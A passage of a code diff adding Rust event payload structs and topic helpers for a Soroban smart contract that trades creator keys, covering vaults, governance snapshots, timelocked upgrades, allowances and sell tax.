, + /// Ledger sequence number at the time of deprecation. + pub ledger: u32, +} + +/// Shared key-deprecated event topics tuple. +pub fn key_deprecated_topics(creator: &Address) -> (Symbol, Address) { + (KEY_DEPRECATED_EVENT_NAME, creator.clone()) +} + +/// Stable keys-redeemed event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(KEYS_REDEEMED_EVENT_NAME, creator, holder)` +/// - data: `KeysRedeemedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct KeysRedeemedEvent { + /// Creator whose deprecated key is being redeemed. + pub creator: Address, + /// Holder who redeemed their keys. + pub holder: Address, + /// Number of keys redeemed by the holder. + pub quantity: u32, + /// Total XLM payout transferred to the holder. + pub payout: i128, + /// Total key supply for the creator after this redemption. + pub new_supply: u32, + /// Ledger sequence number at the time of redemption. + pub ledger: u32, +} + +/// Shared keys-redeemed event topics tuple. +pub fn keys_redeemed_topics(creator: &Address, holder: &Address) -> (Symbol, Address, Address) { + (KEYS_REDEEMED_EVENT_NAME, creator.clone(), holder.clone()) +} + +// ============================================================================ +// Early Unstake Penalty +// ============================================================================ + +/// Event name for early unstake with forfeited penalty. +pub const EARLY_UNSTAKE_PENALTY_EVENT_NAME: Symbol = symbol_short!("erl_unst"); + +/// Stable early unstake event payload. +/// +/// Event shape: +/// - topics: `(EARLY_UNSTAKE_PENALTY_EVENT_NAME, key_id, wallet)` +/// - data: `EarlyUnstakePenaltyEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct EarlyUnstakePenaltyEvent { + pub wallet: Address, + pub key_id: Address, + pub returned_quantity: u32, + pub penalty_quantity: u32, +} + +/// Shared early unstake event topics tuple. +pub fn early_unstake_penalty_topics( + key_id: &Address, + wallet: &Address, +) -> (Symbol, Address, Address) { + ( + EARLY_UNSTAKE_PENALTY_EVENT_NAME, + key_id.clone(), + wallet.clone(), + ) +} + +/// Event name for a satisfied slippage check on buy or sell. +pub const SLIPPAGE_CHECK_PASSED_EVENT_NAME: Symbol = symbol_short!("slp_ok"); + +/// Emitted when a buy or sell with a non-None slippage bound passes the +/// price/proceeds check, giving downstream indexers visibility into slippage +/// guard behavior. +/// +/// Event shape: +/// - topics: `(SLIPPAGE_CHECK_PASSED_EVENT_NAME, creator)` +/// - data: `SlippageCheckPassedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct SlippageCheckPassedEvent { + pub creator_id: Address, + pub actual_amount: i128, + pub bound: i128, + pub ledger: u32, +} + +/// Shared slippage-check-passed event topics tuple. +pub fn slippage_check_passed_topics(creator: &Address) -> (Symbol, Address) { + (SLIPPAGE_CHECK_PASSED_EVENT_NAME, creator.clone()) +} + +/// Event name for a bonding-curve swap rejected by its price-impact guard. +pub const SWAP_SLIPPAGE_EXCEEDED_EVENT_NAME: Symbol = symbol_short!("swap_slp"); + +/// Emitted when a bonding-curve `swap` is rejected because the computed +/// price impact exceeds the caller's `max_slippage_bps` tolerance. The +/// payload carries both the actual impact and the requested ceiling so +/// clients and indexers can surface the exact breach magnitude. +/// +/// Event shape: +/// - topics: `(SWAP_SLIPPAGE_EXCEEDED_EVENT_NAME, creator)` +/// - data: `SwapSlippageExceededEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct SwapSlippageExceededEvent { + /// Creator whose bonding curve was being swapped against. + pub creator_id: Address, + /// Computed price impact of the rejected swap, in basis points. + pub actual_bps: u32, + /// Caller-supplied slippage ceiling that the impact breached. + pub max_bps: u32, + /// Ledger sequence at which the breach was detected. + pub ledger: u32, +} + +/// Shared swap-slippage-exceeded event topics tuple. +pub fn swap_slippage_exceeded_topics(creator: &Address) -> (Symbol, Address) { + (SWAP_SLIPPAGE_EXCEEDED_EVENT_NAME, creator.clone()) +} + +// --- Max buy quantity per transaction (#828) --- + +/// Event name emitted when the creator updates the max buy quantity per transaction. +pub const MAX_BUY_QUANTITY_UPDATED_EVENT_NAME: Symbol = symbol_short!("mbq_upd"); + +/// Stable max-buy-quantity-updated event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(MAX_BUY_QUANTITY_UPDATED_EVENT_NAME, creator_id)` +/// - data: `MaxBuyQuantityUpdatedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct MaxBuyQuantityUpdatedEvent { + /// Address of the creator whose limit was changed. + pub creator_id: Address, + /// New per-transaction buy quantity limit. + pub max_qty: u32, + /// Ledger sequence at the time of the update. + pub ledger: u32, +} + +/// Shared max-buy-quantity-updated event topics tuple. +pub fn max_buy_quantity_updated_topics(creator: &Address) -> (Symbol, Address) { + (MAX_BUY_QUANTITY_UPDATED_EVENT_NAME, creator.clone()) +} + +// --- Batch transfer keys (#799) --- + +/// Event name emitted when a holder transfers keys to multiple recipients in a +/// single `batch_transfer_keys` call. +pub const BATCH_TRANSFER_COMPLETED_EVENT_NAME: Symbol = symbol_short!("bat_xfer"); + +/// Stable field order for batch transfer completed event payloads. +pub const BATCH_TRANSFER_COMPLETED_DATA_FIELDS: [&str; 5] = [ + "creator_id", + "from", + "transfers", + "total_transferred", + "ledger", +]; + +/// Stable batch transfer completed event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(BATCH_TRANSFER_COMPLETED_EVENT_NAME, creator_id, from)` +/// - data: `BatchTransferCompletedEvent` +/// +/// `transfers` is the ordered list of `(recipient, quantity)` pairs processed +/// in the batch. `total_transferred` is the sum of all quantities. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct BatchTransferCompletedEvent { + /// Address of the creator whose key is being transferred. + pub creator_id: Address, + /// Holder sending the keys. + pub from: Address, + /// Ordered `(recipient, quantity)` pairs processed in the batch. + pub transfers: Vec<(Address, u32)>, + /// Sum of all quantities transferred in the batch. + pub total_transferred: u32, + /// Ledger sequence at the time of the transfer. + pub ledger: u32, +} + +/// Shared batch transfer completed event topics tuple. +pub fn batch_transfer_completed_topics( + creator: &Address, + from: &Address, +) -> (Symbol, Address, Address) { + ( + BATCH_TRANSFER_COMPLETED_EVENT_NAME, + creator.clone(), + from.clone(), + ) +} + +/// Event name for a price-oracle read. +pub const PRICE_QUERIED_EVENT_NAME: Symbol = symbol_short!("pri_qry"); + +/// Stable price-queried event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(PRICE_QUERIED_EVENT_NAME, caller)` +/// - data: `PriceQueriedEvent` +/// +/// Emitted on every successful price-oracle read (`get_price` / +/// `get_twap_price`), carrying the calling contract's address and the returned +/// price. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct PriceQueriedEvent { + /// Contract that invoked the oracle entrypoint. + pub caller: Address, + /// Creator whose key's price was read. + pub creator: Address, + /// Price returned to the caller. + pub price: i128, +} + +/// Shared price-queried event topics tuple. +pub fn price_queried_topics(caller: &Address) -> (Symbol, Address) { + (PRICE_QUERIED_EVENT_NAME, caller.clone()) +} + +// ============================================================================ +// Claimable dividends (issue #857) +// ============================================================================ + +/// Event name for a per-holder dividend credit written at distribution time. +pub const DIVIDEND_CREDITED_EVENT_NAME: Symbol = symbol_short!("div_crd"); + +/// Stable field order for `dividend_credited` payloads. +pub const DIVIDEND_CREDITED_DATA_FIELDS: [&str; 3] = ["creator", "holder", "amount"]; + +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct DividendCreditedEvent { + pub creator: Address, + pub holder: Address, + pub amount: i128, +} + +pub fn dividend_credited_topics(creator: &Address, holder: &Address) -> (Symbol, Address, Address) { + ( + DIVIDEND_CREDITED_EVENT_NAME, + creator.clone(), + holder.clone(), + ) +} + +// ============================================================================ + +// --- Pause state change (#889) --- + +pub const PAUSE_STATE_CHANGED_EVENT_NAME: Symbol = symbol_short!("pause_chg"); + +/// Emitted by `pause` and `unpause` with the new state and the calling admin. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct PauseStateChangedEvent { + pub paused: bool, + pub caller: Address, +} + +pub fn pause_state_changed_topics() -> (Symbol,) { + (PAUSE_STATE_CHANGED_EVENT_NAME,) +} + +// --- Supply milestone crossings (#887) --- + +pub const MILESTONE_CROSSED_EVENT_NAME: Symbol = symbol_short!("mile_x"); +pub const MILESTONE_DIRECTION_UP: Symbol = symbol_short!("up"); +pub const MILESTONE_DIRECTION_DOWN: Symbol = symbol_short!("down"); + +/// Emitted once per configured supply milestone crossed by a trade. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct MilestoneCrossedEvent { + pub key_id: Address, + /// 1-based position of the crossed milestone in the configured list. + pub tier: u32, + pub direction: Symbol, + /// Supply after the trade. + pub supply: u32, +} + +pub fn milestone_crossed_topics(key_id: &Address) -> (Symbol, Address) { + (MILESTONE_CROSSED_EVENT_NAME, key_id.clone()) +} + +// --- Supply milestone fee reduction (#1076) --- + +/// Emitted when a key's circulating supply crosses a milestone threshold and +/// the fee in effect is reduced. +pub const MILESTONE_REACHED_EVENT_NAME: Symbol = symbol_short!("ms_reach"); + +/// Event shape: +/// - topics: `(MILESTONE_REACHED_EVENT_NAME, key_id)` +/// - data: `MilestoneReachedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct MilestoneReachedEvent { + /// The key whose supply crossed the milestone threshold. + pub key_id: Address, + /// 1-based index of the milestone tier that was reached. + pub tier: u32, + /// Circulating supply after the trade that crossed the threshold. + pub supply: u32, + /// New fee in basis points after the reduction. + pub new_fee_bps: u32, + /// Ledger sequence number at the time of the reduction. + pub ledger: u32, +} + +pub fn milestone_reached_topics(key_id: &Address) -> (Symbol, Address) { + (MILESTONE_REACHED_EVENT_NAME, key_id.clone()) +} + +/// Publish a [`MilestoneReachedEvent`] for `key_id`. +pub fn publish_milestone_reached( + env: &Env, + key_id: &Address, + tier: u32, + supply: u32, + new_fee_bps: u32, + ledger: u32, +) { + env.events().publish( + milestone_reached_topics(key_id), + MilestoneReachedEvent { + key_id: key_id.clone(), + tier, + supply, + new_fee_bps, + ledger, + }, + ); +} + +// --- Contract upgrade (#884) --- + +pub const UPGRADE_EXECUTED_EVENT_NAME: Symbol = symbol_short!("upgraded"); + +/// Emitted by `upgrade` with the version before and after the upgrade. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct UpgradeExecutedEvent { + pub old_version: u32, + pub new_version: u32, +} + +pub fn upgrade_executed_topics(admin: &Address) -> (Symbol, Address) { + (UPGRADE_EXECUTED_EVENT_NAME, admin.clone()) +} + +/// Event name for admin-authorised key registration. +pub const KEY_REGISTERED_EVENT_NAME: Symbol = symbol_short!("key_reg"); + +/// Emitted by `register_key`. Keys are identified by their creator address, so +/// `key_id` and `creator` carry the same address. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct KeyRegisteredEvent { + pub key_id: Address, + pub creator: Address, + pub auction_pending: bool, + pub registered_at_ledger: u32, +} + +pub fn key_registered_topics(key_id: &Address) -> (Symbol, Address) { + (KEY_REGISTERED_EVENT_NAME, key_id.clone()) +} + +/// Event name for a staking vault deposit. +pub const VAULT_DEPOSIT_EVENT_NAME: Symbol = symbol_short!("vlt_dep"); + +/// Event name for a staking vault withdrawal. +pub const VAULT_WITHDRAW_EVENT_NAME: Symbol = symbol_short!("vlt_wdr"); + +/// Stable vault deposit event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(VAULT_DEPOSIT_EVENT_NAME, creator_id, holder)` +/// - data: `VaultDepositEvent` +/// +/// Emitted once per creator key included in a `vault_deposit` call. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct VaultDepositEvent { + /// Creator whose keys were deposited. + pub creator_id: Address, + /// Holder that deposited the keys. + pub holder: Address, + /// Number of keys deposited. + pub amount: u32, + /// Holder's vault shares for this creator after the deposit. + pub holder_shares: u32, + /// Total vault shares for this creator after the deposit. + pub total_shares: u32, + /// Ledger sequence number at the time of the deposit. + pub ledger: u32, +} + +/// Stable vault withdraw event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(VAULT_WITHDRAW_EVENT_NAME, creator_id, holder)` +/// - data: `VaultWithdrawEvent` +/// +/// Emitted once per creator key included in a `vault_withdraw` call. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct VaultWithdrawEvent { + /// Creator whose keys were withdrawn. + pub creator_id: Address, + /// Holder that withdrew the keys. + pub holder: Address, + /// Number of keys returned to the holder. + pub amount: u32, + /// Holder's vault shares for this creator after the withdrawal. + pub holder_shares: u32, + /// Total vault shares for this creator after the withdrawal. + pub total_shares: u32, + /// Ledger sequence number at the time of the withdrawal. + pub ledger: u32, +} + +/// Shared vault deposit event topics tuple. +pub fn vault_deposit_topics(creator: &Address, holder: &Address) -> (Symbol, Address, Address) { + (VAULT_DEPOSIT_EVENT_NAME, creator.clone(), holder.clone()) +} + +/// Shared vault withdraw event topics tuple. +pub fn vault_withdraw_topics(creator: &Address, holder: &Address) -> (Symbol, Address, Address) { + (VAULT_WITHDRAW_EVENT_NAME, creator.clone(), holder.clone()) +} + +/// Event name for an oracle price update. +pub const ORACLE_PRICE_UPDATED_EVENT_NAME: Symbol = symbol_short!("orc_upd"); + +/// Stable oracle price update event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(ORACLE_PRICE_UPDATED_EVENT_NAME, oracle)` +/// - data: `OraclePriceUpdatedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct OraclePriceUpdatedEvent { + /// Authorised oracle address that published the price. + pub oracle: Address, + /// Published price. + pub price: i128, + /// Ledger timestamp (seconds) at which the price was published. + pub timestamp: u64, +} + +/// Shared oracle price update event topics tuple. +pub fn oracle_price_updated_topics(oracle: &Address) -> (Symbol, Address) { + (ORACLE_PRICE_UPDATED_EVENT_NAME, oracle.clone()) +} + +/// Event name for a timelocked action proposal. +pub const ACTION_PROPOSED_EVENT_NAME: Symbol = symbol_short!("act_prop"); + +/// Event name for a timelocked action execution. +pub const ACTION_EXECUTED_EVENT_NAME: Symbol = symbol_short!("act_exec"); + +/// Event name for a timelocked action cancellation. +pub const ACTION_CANCELLED_EVENT_NAME: Symbol = symbol_short!("act_canc"); + +/// Stable action proposed event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(ACTION_PROPOSED_EVENT_NAME, action_id)` +/// - data: `ActionProposedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct ActionProposedEvent { + pub action_id: u32, + pub proposer: Address, + pub change_type: u32, + /// Ledger timestamp (seconds) at which the action was proposed. + pub proposed_at: u64, + /// Earliest ledger timestamp (seconds) at which the action may execute. + pub execution_not_before: u64, +} + +/// Stable action executed event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(ACTION_EXECUTED_EVENT_NAME, action_id)` +/// - data: `ActionExecutedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct ActionExecutedEvent { + pub action_id: u32, + /// Ledger timestamp (seconds) at which the action was executed. + pub executed_at: u64, +} + +/// Stable action cancelled event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(ACTION_CANCELLED_EVENT_NAME, action_id)` +/// - data: `ActionCancelledEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct ActionCancelledEvent { + pub action_id: u32, + /// Ledger timestamp (seconds) at which the action was cancelled. + pub cancelled_at: u64, +} + +/// Shared action proposed event topics tuple. +pub fn action_proposed_topics(action_id: u32) -> (Symbol, u32) { + (ACTION_PROPOSED_EVENT_NAME, action_id) +} + +/// Shared action executed event topics tuple. +pub fn action_executed_topics(action_id: u32) -> (Symbol, u32) { + (ACTION_EXECUTED_EVENT_NAME, action_id) +} + +/// Shared action cancelled event topics tuple. +pub fn action_cancelled_topics(action_id: u32) -> (Symbol, u32) { + (ACTION_CANCELLED_EVENT_NAME, action_id) +} + +// ============================================================================ +// Feature: timelocked contract upgrade — LogicUpgraded / UpgradeApproved +// ============================================================================ + +/// Event name emitted when a timelocked upgrade swaps the contract's logic build. +/// +/// Emitted alongside (never instead of) `UpgradeExecutedEvent`, so indexers +/// already tracking the legacy `upgraded` event keep working unchanged. +pub const LOGIC_UPGRADED_EVENT_NAME: Symbol = symbol_short!("logic_upg"); + +/// Stable payload describing a completed timelocked logic upgrade. +/// +/// Carries both the outgoing and incoming logic identity, which is the whole +/// point of the event: an operator can diff the pair to confirm which build is +/// live and, if it misbehaved, which build to propose a rollback to. +/// +/// Event shape: +/// - topics: `(LOGIC_UPGRADED_EVENT_NAME, action_id)` +/// - data: `LogicUpgradedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct LogicUpgradedEvent { + /// Timelocked action that carried out the swap. + pub action_id: u32, + /// Logic (WASM) hash in effect before the upgrade. `None` on the first + /// recorded upgrade, when no prior hash has been retained yet. + pub old_wasm_hash: Option>, + /// Logic (WASM) hash now in effect. + pub new_wasm_hash: BytesN<32>, + pub old_version: u32, + pub new_version: u32, + /// Ledger timestamp (seconds) at which the swap was applied. + pub executed_at: u64, +} + +/// Shared logic-upgraded event topics tuple. +pub fn logic_upgraded_topics(action_id: u32) -> (Symbol, u32) { + (LOGIC_UPGRADED_EVENT_NAME, action_id) +} + +/// Event name emitted when one member of the multi-sig admin set approves a +/// pending timelocked upgrade. +pub const UPGRADE_APPROVED_EVENT_NAME: Symbol = symbol_short!("upg_appr"); + +/// Stable payload for a single multi-sig approval of a pending upgrade. +/// +/// Event shape: +/// - topics: `(UPGRADE_APPROVED_EVENT_NAME, action_id)` +/// - data: `UpgradeApprovedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct UpgradeApprovedEvent { + /// Timelocked action being approved. + pub action_id: u32, + /// Admin that cast this approval. + pub admin: Address, + /// Total distinct approvals recorded so far, including this one. + pub approvals: u32, + /// Distinct approvals required before the upgrade may execute. + pub threshold: u32, + /// Ledger timestamp (seconds) of the approval. + pub approved_at: u64, +} + +/// Shared upgrade-approved event topics tuple. +pub fn upgrade_approved_topics(action_id: u32) -> (Symbol, u32) { + (UPGRADE_APPROVED_EVENT_NAME, action_id) +} + +// ============================================================================ +// Feature: holder_count tracking — HolderCountChanged event +// ============================================================================ + +/// Event name emitted when the holder count for a creator key changes. +pub const HOLDER_COUNT_CHANGED_EVENT_NAME: Symbol = symbol_short!("hc_chg"); + +/// Stable holder-count-changed event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(HOLDER_COUNT_CHANGED_EVENT_NAME, creator_id)` +/// - data: `HolderCountChangedEvent` +/// +/// Emitted every time a wallet crosses the zero-balance boundary (first buy +/// increments, full exit decrements). +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct HolderCountChangedEvent { + /// Creator whose holder count changed. + pub creator_id: Address, + /// Holder count before the change. + pub old_count: u32, + /// Holder count after the change. + pub new_count: u32, + /// Ledger sequence number at the time of the change. + pub ledger: u32, +} + +/// Shared holder-count-changed event topics tuple. +pub fn holder_count_changed_topics(creator_id: &Address) -> (Symbol, Address) { + (HOLDER_COUNT_CHANGED_EVENT_NAME, creator_id.clone()) +} + +// ============================================================================ +// Feature: update_metadata / update_config events +// ============================================================================ + +/// Event name emitted when a creator updates their key metadata. +pub const METADATA_UPDATED_EVENT_NAME: Symbol = symbol_short!("meta_upd"); + +/// Stable metadata-updated event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(METADATA_UPDATED_EVENT_NAME, creator_id)` +/// - data: `MetadataUpdatedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct MetadataUpdatedEvent { + /// Creator whose metadata was updated. + pub creator_id: Address, + /// Legacy field; the key name is immutable and this remains empty. + pub name: String, + /// Legacy mirror of `description`; empty when unchanged. + pub bio: String, + /// Legacy mirror of `image_cid`; empty when unchanged. + pub avatar_uri: String, + /// Ledger sequence number at the time of the update. + pub ledger: u32, + /// Updated description, or `None` if unchanged. + pub description: Option, + /// Updated image CID, or `None` if unchanged. + pub image_cid: Option, +} + +/// Shared metadata-updated event topics tuple. +pub fn metadata_updated_topics(creator_id: &Address) -> (Symbol, Address) { + (METADATA_UPDATED_EVENT_NAME, creator_id.clone()) +} + +/// Event name emitted when the admin updates protocol config parameters. +pub const CONFIG_UPDATED_EVENT_NAME: Symbol = symbol_short!("cfg_upd"); + +/// Stable config-updated event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(CONFIG_UPDATED_EVENT_NAME, admin)` +/// - data: `ConfigUpdatedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct ConfigUpdatedEvent { + /// Admin who performed the update. + pub admin: Address, + /// New creator fee basis points. + pub creator_bps: u32, + /// New protocol fee basis points. + pub protocol_bps: u32, + /// New bonding curve slope. + pub curve_slope: i128, + /// Ledger sequence number at the time of the update. + pub ledger: u32, +} + +/// Shared config-updated event topics tuple. +pub fn config_updated_topics(admin: &Address) -> (Symbol, Address) { + (CONFIG_UPDATED_EVENT_NAME, admin.clone()) +} + +// ============================================================================ +// Feature: snapshot mechanism — governance address set/get events +// ============================================================================ + +/// Event name emitted when the governance contract address is configured. +pub const GOVERNANCE_ADDRESS_SET_EVENT_NAME: Symbol = symbol_short!("gov_set"); + +/// Shared governance-address-set event topics tuple. +pub fn governance_address_set_topics(admin: &Address) -> (Symbol, Address) { + (GOVERNANCE_ADDRESS_SET_EVENT_NAME, admin.clone()) +} + +/// Event name emitted when an old snapshot is pruned. +pub const SNAPSHOT_PRUNED_EVENT_NAME: Symbol = symbol_short!("snap_prn"); + +/// Stable snapshot-pruned event payload. +/// +/// Event shape: +/// - topics: `(SNAPSHOT_PRUNED_EVENT_NAME, creator_id)` +/// - data: `SnapshotPrunedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct SnapshotPrunedEvent { + pub creator_id: Address, + pub snapshot_id: u32, + pub ledger: u32, +} + +/// Shared snapshot-pruned event topics tuple. +pub fn snapshot_pruned_topics(creator_id: &Address) -> (Symbol, Address) { + (SNAPSHOT_PRUNED_EVENT_NAME, creator_id.clone()) +} + +// ============================================================================ +// Feature: governance voting weight snapshot contract +// ============================================================================ + +/// Event name emitted when a governance voting weight snapshot is taken. +pub const GOVERNANCE_SNAPSHOT_TAKEN_EVENT_NAME: Symbol = symbol_short!("gov_snap"); + +/// Stable governance-snapshot-taken event payload. +/// +/// Event shape: +/// - topics: `(GOVERNANCE_SNAPSHOT_TAKEN_EVENT_NAME, proposal_id)` +/// - data: `GovernanceSnapshotTakenEvent` +/// +/// Emitted automatically when a governance proposal is created, recording the +/// block height at which all holder balances were captured. Downstream indexers +/// use `snapshot_ledger` to correlate voting weights with the proposal's +/// creation block. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct GovernanceSnapshotTakenEvent { + /// Monotonic governance proposal identifier. + pub proposal_id: u32, + /// Ledger sequence at which the snapshot was taken. + pub snapshot_ledger: u32, + /// Number of holder balances recorded in the snapshot. + pub total_holders: u32, +} + +/// Shared governance-snapshot-taken event topics tuple. +pub fn governance_snapshot_taken_topics(proposal_id: u32) -> (Symbol, u32) { + (GOVERNANCE_SNAPSHOT_TAKEN_EVENT_NAME, proposal_id) +} + +/// Event name emitted when a governance snapshot is pruned after resolution. +pub const GOVERNANCE_SNAPSHOT_PRUNED_EVENT_NAME: Symbol = symbol_short!("gov_sprn"); + +/// Stable governance-snapshot-pruned event payload. +/// +/// Event shape: +/// - topics: `(GOVERNANCE_SNAPSHOT_PRUNED_EVENT_NAME, proposal_id)` +/// - data: `GovernanceSnapshotPrunedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct GovernanceSnapshotPrunedEvent { + /// Proposal whose snapshot was pruned. + pub proposal_id: u32, + /// Ledger in which the pruning happened. + pub ledger: u32, +} + +/// Shared governance-snapshot-pruned event topics tuple. +pub fn governance_snapshot_pruned_topics(proposal_id: u32) -> (Symbol, u32) { + (GOVERNANCE_SNAPSHOT_PRUNED_EVENT_NAME, proposal_id) +} + +// ============================================================================ +// Feature: batch_buy with per-key slippage — BatchBuyOrderResult event +// ============================================================================ + +/// Event name emitted per key in a batch buy when a per-order fee is collected. +pub const BATCH_BUY_FEE_COLLECTED_EVENT_NAME: Symbol = symbol_short!("bb_fee"); + +/// Stable batch-buy fee-collected event payload. +/// +/// Event shape: +/// - topics: `(BATCH_BUY_FEE_COLLECTED_EVENT_NAME, creator_id, buyer)` +/// - data: `BatchBuyFeeCollectedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct BatchBuyFeeCollectedEvent { + pub creator_id: Address, + pub buyer: Address, + pub quantity: u32, + pub total_price: i128, + pub fee_amount: i128, + pub ledger: u32, +} + +/// Shared batch-buy fee-collected event topics tuple. +pub fn batch_buy_fee_collected_topics( + creator_id: &Address, + buyer: &Address, +) -> (Symbol, Address, Address) { + ( + BATCH_BUY_FEE_COLLECTED_EVENT_NAME, + creator_id.clone(), + buyer.clone(), + ) +} + +// ============================================================================ +// Feature: creator reputation scoring +// ============================================================================ + +/// Event name emitted on every reputation score change. +pub const REPUTATION_UPDATED_EVENT_NAME: Symbol = symbol_short!("rep_upd"); + +/// Stable reputation-updated event payload. +/// +/// Event shape: +/// - topics: `(REPUTATION_UPDATED_EVENT_NAME, creator)` +/// - data: `ReputationUpdatedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct ReputationUpdatedEvent { + /// Creator whose reputation changed. + pub creator: Address, + /// Reputation score before the change. + pub old_score: i128, + /// Reputation score after the change. + pub new_score: i128, + /// Signed points applied by this change. + pub delta: i128, + /// Which on-chain action produced the change. + pub reason: crate::ReputationReason, + /// Ledger in which the change was recorded. + pub ledger: u32, +} + +/// Shared reputation-updated event topics tuple. +pub fn reputation_updated_topics(creator: &Address) -> (Symbol, Address) { + (REPUTATION_UPDATED_EVENT_NAME, creator.clone()) +} + +// ============================================================================ +// Feature: unique trader analytics +// ============================================================================ + +/// Event name emitted the first time a wallet trades a creator's keys. +pub const UNIQUE_TRADER_ADDED_EVENT_NAME: Symbol = symbol_short!("uniq_trd"); + +/// Stable unique-trader event payload. +/// +/// Event shape: +/// - topics: `(UNIQUE_TRADER_ADDED_EVENT_NAME, key_id, trader)` +/// - data: `UniqueTraderAddedEvent` +/// +/// Emitted exactly once per `(key_id, trader)` pair, on that wallet's first +/// buy or sell. Repeat trades from the same wallet emit nothing, so an indexer +/// can count these events directly instead of de-duplicating trade events. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct UniqueTraderAddedEvent { + /// Creator whose keys were traded. + pub key_id: Address, + /// Wallet trading these keys for the first time. + pub trader: Address, + /// Unique trader count after this wallet was counted. + pub unique_trader_count: u64, + /// Ledger in which the first trade was recorded. + pub ledger: u32, +} + +/// Shared unique-trader event topics tuple. +pub fn unique_trader_added_topics( + key_id: &Address, + trader: &Address, +) -> (Symbol, Address, Address) { + ( + UNIQUE_TRADER_ADDED_EVENT_NAME, + key_id.clone(), + trader.clone(), + ) +} + +// ============================================================================ +// Feature: key transfer allowances (approve / transfer_from) +// ============================================================================ + +/// Event name emitted when a holder sets or changes a transfer allowance. +pub const APPROVAL_EVENT_NAME: Symbol = symbol_short!("approval"); + +/// Stable approval event payload. +/// +/// Event shape: +/// - topics: `(APPROVAL_EVENT_NAME, owner, spender)` +/// - data: `ApprovalEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct ApprovalEvent { + /// Holder that granted the allowance. + pub owner: Address, + /// Address authorised to spend the allowance. + pub spender: Address, + /// Remaining allowance in whole keys after this call. + pub amount: u32, + /// Creator whose keys the allowance covers. + pub key_id: Address, + /// Ledger in which the approval was recorded. + pub ledger: u32, +} + +/// Shared approval event topics tuple. +pub fn approval_topics(owner: &Address, spender: &Address) -> (Symbol, Address, Address) { + (APPROVAL_EVENT_NAME, owner.clone(), spender.clone()) +} + +/// Event name emitted when a spender consumes an allowance via `transfer_from`. +pub const TRANSFER_FROM_EVENT_NAME: Symbol = symbol_short!("xfer_from"); + +/// Stable transfer-from event payload. +/// +/// Event shape: +/// - topics: `(TRANSFER_FROM_EVENT_NAME, key_id, spender)` +/// - data: `TransferFromEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct TransferFromEvent { + /// Creator whose keys moved. + pub key_id: Address, + /// Address that consumed the allowance. + pub spender: Address, + /// Holder whose balance decreased. + pub from: Address, + /// Holder whose balance increased. + pub to: Address, + /// Number of keys transferred. + pub amount: u32, + /// Allowance remaining after the transfer. + pub remaining_allowance: u32, + /// Ledger in which the transfer executed. + pub ledger: u32, +} + +/// Shared transfer-from event topics tuple. +pub fn transfer_from_topics(key_id: &Address, spender: &Address) -> (Symbol, Address, Address) { + (TRANSFER_FROM_EVENT_NAME, key_id.clone(), spender.clone()) +} + +// ============================================================================ +// Feature: sell tax routed to the buyback pool +// ============================================================================ + +/// Event name emitted when a creator updates their per-key sell tax. +pub const SELL_TAX_UPDATED_EVENT_NAME: Symbol = symbol_short!("tax_upd"); + +/// Stable sell-tax-updated event payload. +/// +/// Event shape: +/// - topics: `(SELL_TAX_UPDATED_EVENT_NAME, creator)` +/// - data: `SellTaxUpdatedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct SellTaxUpdatedEvent { + /// Creator whose sell tax changed. + pub creator: Address, + /// Previous sell tax in basis points. + pub old_tax_bps: u32, + /// New sell tax in basis points. + pub new_tax_bps: u32, + /// Ledger in which the change was recorded. + pub ledger: u32, +} + +/// Shared sell-tax-updated event topics tuple. +pub fn sell_tax_updated_topics(creator: &Address) -> (Symbol, Address) { + 